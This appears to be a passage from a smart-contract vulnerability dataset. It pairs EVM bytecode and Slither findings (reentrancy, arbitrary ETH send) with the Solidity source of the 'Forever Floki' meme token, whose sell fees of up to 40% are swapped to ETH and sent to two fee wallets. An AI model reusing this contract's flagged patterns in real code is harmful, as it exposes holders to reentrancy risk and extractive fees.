5b9150509250925092565b60008060408385031215612eaf57612eae6139a0565b5b6000612ebd85828601612cff565b9250506020612ece85828601612d81565b9150509250929050565b600060208284031215612eee57612eed6139a0565b5b600082013567ffffffffffffffff811115612f0c57612f0b61399b565b5b612f1884828501612d29565b91505092915050565b600060208284031215612f3757612f366139a0565b5b6000612f4584828501612d57565b91505092915050565b600060208284031215612f6457612f636139a0565b5b6000612f7284828501612d6c565b91505092915050565b600060208284031215612f9157612f906139a0565b5b6000612f9f84828501612d81565b91505092915050565b600080600060608486031215612fc157612fc06139a0565b5b6000612fcf86828701612d96565b9350506020612fe086828701612d96565b9250506040612ff186828701612d96565b9150509250925092565b60006130078383613013565b60208301905092915050565b61301c816137c1565b82525050565b61302b816137c1565b82525050565b600061303c82613667565b613046818561368a565b935061305183613657565b8060005b838110156130825781516130698882612ffb565b97506130748361367d565b925050600181019050613055565b5085935050505092915050565b613098816137d3565b82525050565b6130a781613816565b82525050565b60006130b882613672565b6130c2818561369b565b93506130d2818560208601613828565b6130db816139a5565b840191505092915050565b60006130f360238361369b565b91506130fe826139b6565b604082019050919050565b6000613116602a8361369b565b915061312182613a05565b604082019050919050565b600061313960228361369b565b915061314482613a54565b604082019050919050565b600061315c601b8361369b565b915061316782613aa3565b602082019050919050565b600061317f601b8361369b565b915061318a82613acc565b602082019050919050565b60006131a2601d8361369b565b91506131ad82613af5565b602082019050919050565b60006131c560218361369b565b91506131d082613b1e565b604082019050919050565b60006131e860208361369b565b91506131f382613b6d565b602082019050919050565b600061320b60298361369b565b915061321682613b96565b604082019050919050565b600061322e60258361369b565b915061323982613be5565b604082019050919050565b600061325160248361369b565b915061325c82613c34565b604082019050919050565b600061327460178361369b565b915061327f82613c83565b602082019050919050565b600061329760118361369b565b91506132a282613cac565b602082019050919050565b6132b6816137ff565b82525050565b6132c581613809565b82525050565b60006020820190506132e06000830184613022565b92915050565b60006040820190506132fb6000830185613022565b6133086020830184613022565b9392505050565b60006040820190506133246000830185613022565b61333160208301846132ad565b9392505050565b600060c08201905061334d6000830189613022565b61335a60208301886132ad565b613367604083018761309e565b613374606083018661309e565b6133816080830185613022565b61338e60a08301846132ad565b979650505050505050565b60006020820190506133ae600083018461308f565b92915050565b600060208201905081810360008301526133ce81846130ad565b905092915050565b600060208201905081810360008301526133ef816130e6565b9050919050565b6000602082019050818103600083015261340f81613109565b9050919050565b6000602082019050818103600083015261342f8161312c565b9050919050565b6000602082019050818103600083015261344f8161314f565b9050919050565b6000602082019050818103600083015261346f81613172565b9050919050565b6000602082019050818103600083015261348f81613195565b9050919050565b600060208201905081810360008301526134af816131b8565b9050919050565b600060208201905081810360008301526134cf816131db565b9050919050565b600060208201905081810360008301526134ef816131fe565b9050919050565b6000602082019050818103600083015261350f81613221565b9050919050565b6000602082019050818103600083015261352f81613244565b9050919050565b6000602082019050818103600083015261354f81613267565b9050919050565b6000602082019050818103600083015261356f8161328a565b9050919050565b600060208201905061358b60008301846132ad565b92915050565b600060a0820190506135a660008301886132ad565b6135b3602083018761309e565b81810360408301526135c58186613031565b90506135d46060830185613022565b6135e160808301846132ad565b9695505050505050565b600060208201905061360060008301846132bc565b92915050565b6000613610613621565b905061361c828261385b565b919050565b6000604051905090565b600067ffffffffffffffff82111561364657613645613962565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136b7826137ff565b91506136c2836137ff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136f7576136f66138d5565b5b828201905092915050565b600061370d826137ff565b9150613718836137ff565b92508261372857613727613904565b5b828204905092915050565b600061373e826137ff565b9150613749836137ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613782576137816138d5565b5b828202905092915050565b6000613798826137ff565b91506137a3836137ff565b9250828210156137b6576137b56138d5565b5b828203905092915050565b60006137cc826137df565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613821826137ff565b9050919050565b60005b8381101561384657808201518184015260208101905061382b565b83811115613855576000848401525b50505050565b613864826139a5565b810181811067ffffffffffffffff8211171561388357613882613962565b5b80604052505050565b6000613897826137ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138ca576138c96138d5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613cde816137c1565b8114613ce957600080fd5b50565b613cf5816137d3565b8114613d0057600080fd5b50565b613d0c816137ff565b8114613d1757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c2e6067cb80bab9e1e1fbe2b7a222da61e53a202f41b9db7a3f57a69dc2a899c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 124 |
0xd2b2722315f4207cd7c510a31f51063c0f278231 | /**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ForFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Forever Floki" ;
string private constant _symbol = unicode"FLOKI♾";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(1)).div(10);
_teamFee = (_impactFee.mul(9)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 1;
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (240 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600d81526020017f466f726576657220466c6f6b6900000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f464c4f4b49e299be000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273f